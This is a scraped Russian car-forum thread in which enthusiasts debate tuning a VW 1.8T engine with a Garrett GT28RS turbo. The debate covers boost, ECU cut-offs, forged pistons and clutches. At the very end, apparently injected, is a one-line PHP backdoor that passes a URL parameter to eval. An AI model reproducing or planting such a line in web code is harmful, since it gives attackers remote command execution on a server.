+ Ответить в теме
Показано с 1 по 10 из 199

Тема: Mk4 1.8Т и Garrett GT28RS


Комбинированный просмотр

  1. #1
    GTI-Racing игорь TURBO is on a distinguished road Аватар для игорь TURBO
    Регистрация
    20.09.2009
    Машина
    golf mk 2 1.8 t
    Сообщений
    5
    проэкт с лупо интересен, подход, судя по колесам тоже правильный)
    скажу так, если правильно отстроится, то можно низ оставлять родной, если учитывать то что давление не будет превышать 1.4 бара!
    а при неправильной настройке не поможет и кованная поршневая!
    мой совет, правильно сделать голову,ARPишные шпильки, сцепление от VR6 с маховиком от ABF или 9А.

    Добавлено через 4 минуты
    Цитата Сообщение от sspils Посмотреть сообщение
    Если собрался выходить на 300+ сил то невыдержит сцепа, даже толком ненастроиш, кулер 1.7 должен выдержать, но после замены опять придёться править прогу, так как с более лучшим кулером смесь обедниться но на сколько незнаю, точно непроверяли. Но после установки без прошивки гонять точно нестоит, на низах будет заливать, на средних гдето будет норм, дальше сильно бедно. Лучше снять головку и поправить камеру. Учитывая качество топлива, лучше на 98.
    на стандарных мозгах машина будет отсекать уже на 3000 об ! и никуда не поедет...
    Последний раз редактировалось игорь TURBO; 13.02.2010 в 15:09. Причина: Добавлено сообщение

  2. #2
    Авто Года 2010 Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Аватар для Чуйкин
    Регистрация
    12.04.2006
    Откуда
    Москвабад
    Машина
    Golf 1.8t 460лс 520Нм
    Сообщений
    2,543
    Цитата Сообщение от игорь TURBO Посмотреть сообщение
    проэкт с лупо интересен, подход, судя по колесам тоже правильный)
    скажу так, если правильно отстроится, то можно низ оставлять родной, если учитывать то что давление не будет превышать 1.4 бара!
    а при неправильной настройке не поможет и кованная поршневая!
    мой совет, правильно сделать голову,ARPишные шпильки, сцепление от VR6 с маховиком от ABF или 9А.

    Добавлено через 4 минуты


    на стандарных мозгах машина будет отсекать уже на 3000 об ! и никуда не поедет...
    почему на стандартных мозгах машина не поедет?? у меня нормально едет на стандартных мозгах.. дует 1.7 бар

  3. #3
    GTI-Racing игорь TURBO is on a distinguished road Аватар для игорь TURBO
    Регистрация
    20.09.2009
    Машина
    golf mk 2 1.8 t
    Сообщений
    5
    Цитата Сообщение от Чуйкин Посмотреть сообщение
    почему на стандартных мозгах машина не поедет?? у меня нормально едет на стандартных мозгах.. дует 1.7 бар
    это 1.8т едет? там отсечка в мозгах с завода стоит, как предохранитель...
    а без настройки при 1.7бара поршневая прогорит за несколько сотен км! т.к. смесь будет катастрофически бедная!

  4. #4
    Авто Года 2010 Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Аватар для Чуйкин
    Регистрация
    12.04.2006
    Откуда
    Москвабад
    Машина
    Golf 1.8t 460лс 520Нм
    Сообщений
    2,543
    Цитата Сообщение от игорь TURBO Посмотреть сообщение
    это 1.8т едет? там отсечка в мозгах с завода стоит, как предохранитель...
    а без настройки при 1.7бара поршневая прогорит за несколько сотен км! т.к. смесь будет катастрофически бедная!
    у меня форсунки 650сс и СЖ 8.5 и поршневая ковка.. езжу полгода ничего не горит

  5. #5
    Цитата Сообщение от игорь TURBO Посмотреть сообщение
    проэкт с лупо интересен, подход, судя по колесам тоже правильный)
    скажу так, если правильно отстроится, то можно низ оставлять родной, если учитывать то что давление не будет превышать 1.4 бара!
    а при неправильной настройке не поможет и кованная поршневая!
    мой совет, правильно сделать голову,ARPишные шпильки, сцепление от VR6 с маховиком от ABF или 9А.

    Добавлено через 4 минуты


    на стандарных мозгах машина будет отсекать уже на 3000 об ! и никуда не поедет...
    Я вообще все хочу посадить на АРП и низ и верх, испортинг башки сделать............. в общем крутильный мотор собрать с запасом до 400-450 лыс.
    Как подобрать сцепу под АГУ, что бы до 350-400 лыс держала. От чего подходит и по бюджету более менее? А то я смотрю цены здорово разнятся.
    Хочу полноценный тайм атак собрать и в чуху или мячик на кольцо.

  6. #6
    Авто Года 2010 Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Аватар для Чуйкин
    Регистрация
    12.04.2006
    Откуда
    Москвабад
    Машина
    Golf 1.8t 460лс 520Нм
    Сообщений
    2,543
    Цитата Сообщение от burzick Посмотреть сообщение
    Я вообще все хочу посадить на АРП и низ и верх, испортинг башки сделать............. в общем крутильный мотор собрать с запасом до 400-450 лыс.
    Как подобрать сцепу под АГУ, что бы до 350-400 лыс держала. От чего подходит и по бюджету более менее? А то я смотрю цены здорово разнятся.
    Хочу полноценный тайм атак собрать и в чуху или мячик на кольцо.
    надо чтобы сцепа момент держала а не силы))
    у меня стоит ACT.. до 450 момента держит

  7. #7
    Цитата Сообщение от игорь TURBO Посмотреть сообщение
    проэкт с лупо интересен, подход, судя по колесам тоже правильный)
    скажу так, если правильно отстроится, то можно низ оставлять родной, если учитывать то что давление не будет превышать 1.4 бара!
    а при неправильной настройке не поможет и кованная поршневая!
    мой совет, правильно сделать голову,ARPишные шпильки, сцепление от VR6 с маховиком от ABF или 9А.

    Добавлено через 4 минуты


    на стандарных мозгах машина будет отсекать уже на 3000 об ! и никуда не поедет...

    Мы настраиваем, всё едит, моя и при 2.2 едет. S4 тоже после наших настроек и на 1.8 едет. Просто на 1.8 лучше поставить отдельный буст контроллер. А мозги всё это легко переваривают.

    Добавлено через 4 минуты
    Цитата Сообщение от игорь TURBO Посмотреть сообщение
    это 1.8т едет? там отсечка в мозгах с завода стоит, как предохранитель...
    а без настройки при 1.7бара поршневая прогорит за несколько сотен км! т.к. смесь будет катастрофически бедная!
    Я на своей год отлупил, машина повседневная, каждые выходные на драгах. настроена на 1.8 с запасом.
    Последний раз редактировалось sspils; 13.02.2010 в 23:01. Причина: Добавлено сообщение

+ Ответить в теме

Похожие темы

  1. турбо кит на базе gt28rs для TFSI
    от ed1evil в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 20
    Последнее сообщение: 20.11.2023, 19:54
  2. Garrett GT28RS нужно посоветоваться,знатоки тюнинга не проходите мимо
    от Romaldinho в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 6
    Последнее сообщение: 02.10.2023, 11:22
  3. Ответов: 5
    Последнее сообщение: 24.04.2012, 16:26
  4. Астро Опц На Gt28rs
    от nickart в разделе Курилка
    Ответов: 9
    Последнее сообщение: 08.01.2009, 00:00
  5. Garrett Gt28rs На Audi A4 1.8t Quattro
    от HeadBussa в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 118
    Последнее сообщение: 30.10.2008, 19:01

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}